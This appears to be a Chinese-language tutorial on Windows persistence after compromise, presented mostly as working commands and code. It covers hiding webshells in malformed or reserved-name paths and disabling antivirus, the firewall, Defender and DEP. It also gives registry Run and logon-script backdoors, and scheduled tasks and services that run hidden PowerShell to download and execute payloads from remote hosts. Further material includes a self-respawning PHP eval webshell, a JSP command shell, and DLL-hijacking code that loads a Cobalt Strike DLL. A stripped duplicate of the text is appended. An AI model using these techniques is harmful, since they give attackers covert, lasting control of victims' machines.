Windows 权限维持
字数 1537 2025-08-22 18:37:14

Windows权限维持技术详解

文件隐藏技术

使用Attrib命令隐藏文件

attrib +s +a +h +r test  # 将test文件夹隐藏
  • 添加属性:
    • +s:系统文件属性
    • +a:存档文件属性
    • +h:隐藏文件属性
    • +r:只读文件属性
  • 测试结果:
    • Windows 8.1成功隐藏,Windows 11未成功
    • 隐藏后无法通过显示隐藏文件或dir命令查看

系统文件夹图标伪装

将文件夹伪装成系统图标:

ren shell 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}

常用CLSID后缀:

  • 我的电脑:{20D04FE0-3AEA-1069-A2D8-08002B30309D}
  • 回收站:{645ff040-5081-101b-9f08-00aa002f954e}
  • 控制面板:{21ec2020-3aea-1069-a2dd-08002b30309d}

恢复方法:

  • Windows 11:直接去掉后缀
  • Windows 8.1:使用WinRAR或cmd重命名

注意:dir命令可查看异常后缀

畸形目录创建

md test...\        # 创建畸形文件夹
rd /q /s test...\  # 删除畸形文件夹
copy shell.asp test...\shell.asp  # 复制文件到畸形目录

访问方式:

  • URL访问:/test.../shell.asp
  • 如失败可尝试减少一个点

保留文件名利用

Windows不允许以下名称作为文件/文件夹名:

  • aux, com1, com2, prn, con, nul等

但可通过cmd创建:

copy shell.php aux.php

特点:

  • 图形界面无法删除
  • 命令行可删除
  • IIS可正常解析

驱动级文件隐藏

使用Easy File Locker软件:

  1. 设置密码保护
  2. 隐藏文件后:
    • 无法通过显示隐藏文件查看
    • dir命令也无法显示
  3. 使用时需知道完整路径

删除方法:

sc qc xlkfs        # 查询服务状态
net stop xlkfs     # 停止服务
sc delete xlkfs    # 删除服务

特征文件:

c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

系统防护关闭

关闭杀毒软件

run killav  # msf命令

关闭防火墙

netsh advfirewall set allprofiles state off

关闭Defender

Net stop windefend

关闭DEP

bcdedit.exe /set {current} nx Alwaysoff

组策略利用

家庭版开启组策略脚本:

@echo off
pushd "%~dp0"
dir /b C:\Windows\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~3*.mum >List.txt
dir /b C:\Windows\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientTools-Package~3*.mum >>List.txt
for /f %%i in ('findstr /i . List.txt 2^>nul') do dism /online /norestart /add-package:"C:\Windows\servicing\Packages\%%i"
pause

打开组策略:

gpedit.msc

注册表后门

启动项注册表

用户级别(无需管理员):

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\administrator\desktop\pentestlab.exe"

PowerShell版本:

Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" "Pentestlab" "C:\Users\administrator\desktop\pentestlab.exe" -Force

其他可用注册表位置:

用户级别:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

系统级别(需管理员):

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

Logon Scripts后门

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Anonymous\.openjfx\我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell.exe"

查询注册表:

reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

计划任务

创建计划任务示例:

系统启动时执行(x64):

schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System

用户空闲30分钟时执行(x64):

schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

用户登录时执行(x86):

schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

服务创建

创建服务方法:

方法1:

sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
sc description KeyName "Just For Test"
sc config Name start= auto
net start Name

方法2:

sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start= "auto" obj= "LocalSystem"
sc start pentestlab

PowerShell方法:

New-Service -Name "pentestlab" -BinaryPathName "C:\temp\pentestlab.exe" -Description "PentestLaboratories" -StartupType Automatic
sc start pentestlab

内存马

PHP内存马

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.bashrc.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';

while(1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .bashrc.php');
    system('chmod 777 .bashrc.php');
    usleep(0);
}
?>

JSP内存马

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.jasper.EmbeddedServletOptions" %>
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream in = process.getInputStream();
int a = 0;
byte[] b = new byte[1024];
while((a = in.read(b)) != -1){
    out.println(new String(b,0,a));
}
in.close();

// 从request对象中获取request属性
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);

// 获取MappingData
MappingData mappingData = req.getMappingData();

// 获取Wrapper
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);

// 获取jspServlet对象
Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);

// 获取options中保存的对象
Field Option = jspServlet.getClass().getDeclaredField("options");
Option.setAccessible(true);
EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet);

// 设置development属性为false
Field Developent = op.getClass().getDeclaredField("development");
Developent.setAccessible(true);
Developent.set(op, false);
%>

DLL劫持技术

DLL加载顺序

SafeDllSearchMode开启时(默认):

  1. 应用程序所在目录
  2. 系统目录(%windir%\system32)
  3. 16位系统目录(%windir%\system)
  4. Windows目录(%windir%)
  5. 当前目录
  6. PATH环境变量中的目录

Windows 7+使用KnownDLLs:

  • 注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
  • 此列表中的DLL只能从system32目录加载

劫持条件

  1. 目标DLL不在KnownDLLs列表中
  2. 是EXE首先加载的DLL
  3. 确实被加载进内存中

工具

  1. Process Monitor:监视DLL调用
  2. 火绒剑:分析软件行为
  3. Rattler:自动查找可利用DLL
  4. Aheadlib:生成劫持DLL代码

劫持步骤

  1. 使用Process Monitor或火绒剑分析目标程序加载的DLL
  2. 使用Aheadlib生成劫持DLL代码
  3. 修改生成的cpp代码添加恶意代码
  4. 使用VS编译生成DLL
  5. 将原DLL重命名(如添加Org后缀)
  6. 将恶意DLL放入应用程序目录

示例代码

#include <Windows.h>

// 导出函数
#pragma comment(linker, "/EXPORT:av_buffer_create=ffmpegOrg.av_buffer_create,@1")
// ...其他导出函数...

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        STARTUPINFO si = {sizeof(si)};
        PROCESS_INFORMATION pi;
        CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
        LoadLibraryA("test.dll"); // 加载CS生成的DLL
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }
    return TRUE;
}

VS编译设置

  1. 创建C++项目
  2. 设置:
    • 运行库:多线程(/MT)
    • 预编译头:不使用预编译头
  3. 生成解决方案

实施劫持

  1. 将生成的恶意DLL和CS后门DLL放入应用程序目录
  2. 将原DLL重命名为"原名称Org.dll"
  3. 运行目标程序触发后门
Windows权限维持技术详解 文件隐藏技术 使用Attrib命令隐藏文件 添加属性: +s:系统文件属性 +a:存档文件属性 +h:隐藏文件属性 +r:只读文件属性 测试结果: Windows 8.1成功隐藏,Windows 11未成功 隐藏后无法通过显示隐藏文件或 dir 命令查看 系统文件夹图标伪装 将文件夹伪装成系统图标: 常用CLSID后缀: 我的电脑: {20D04FE0-3AEA-1069-A2D8-08002B30309D} 回收站: {645ff040-5081-101b-9f08-00aa002f954e} 控制面板: {21ec2020-3aea-1069-a2dd-08002b30309d} 恢复方法: Windows 11:直接去掉后缀 Windows 8.1:使用WinRAR或cmd重命名 注意: dir 命令可查看异常后缀 畸形目录创建 访问方式: URL访问: /test.../shell.asp 如失败可尝试减少一个点 保留文件名利用 Windows不允许以下名称作为文件/文件夹名: aux, com1, com2, prn, con, nul等 但可通过cmd创建: 特点: 图形界面无法删除 命令行可删除 IIS可正常解析 驱动级文件隐藏 使用Easy File Locker软件: 设置密码保护 隐藏文件后: 无法通过显示隐藏文件查看 dir 命令也无法显示 使用时需知道完整路径 删除方法: 特征文件: 系统防护关闭 关闭杀毒软件 关闭防火墙 关闭Defender 关闭DEP 组策略利用 家庭版开启组策略脚本: 打开组策略: 注册表后门 启动项注册表 用户级别(无需管理员): PowerShell版本: 其他可用注册表位置: 用户级别: 系统级别(需管理员): Logon Scripts后门 查询注册表: 计划任务 创建计划任务示例: 系统启动时执行(x64): 用户空闲30分钟时执行(x64): 用户登录时执行(x86): 服务创建 创建服务方法: 方法1: 方法2: PowerShell方法: 内存马 PHP内存马 JSP内存马 DLL劫持技术 DLL加载顺序 SafeDllSearchMode开启时(默认): 应用程序所在目录 系统目录(%windir%\system32) 16位系统目录(%windir%\system) Windows目录(%windir%) 当前目录 PATH环境变量中的目录 Windows 7+使用KnownDLLs: 注册表位置: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 此列表中的DLL只能从system32目录加载 劫持条件 目标DLL不在KnownDLLs列表中 是EXE首先加载的DLL 确实被加载进内存中 工具 Process Monitor:监视DLL调用 火绒剑:分析软件行为 Rattler:自动查找可利用DLL Aheadlib:生成劫持DLL代码 劫持步骤 使用Process Monitor或火绒剑分析目标程序加载的DLL 使用Aheadlib生成劫持DLL代码 修改生成的cpp代码添加恶意代码 使用VS编译生成DLL 将原DLL重命名(如添加Org后缀) 将恶意DLL放入应用程序目录 示例代码 VS编译设置 创建C++项目 设置: 运行库:多线程(/MT) 预编译头:不使用预编译头 生成解决方案 实施劫持 将生成的恶意DLL和CS后门DLL放入应用程序目录 将原DLL重命名为"原名称Org.dll" 运行目标程序触发后门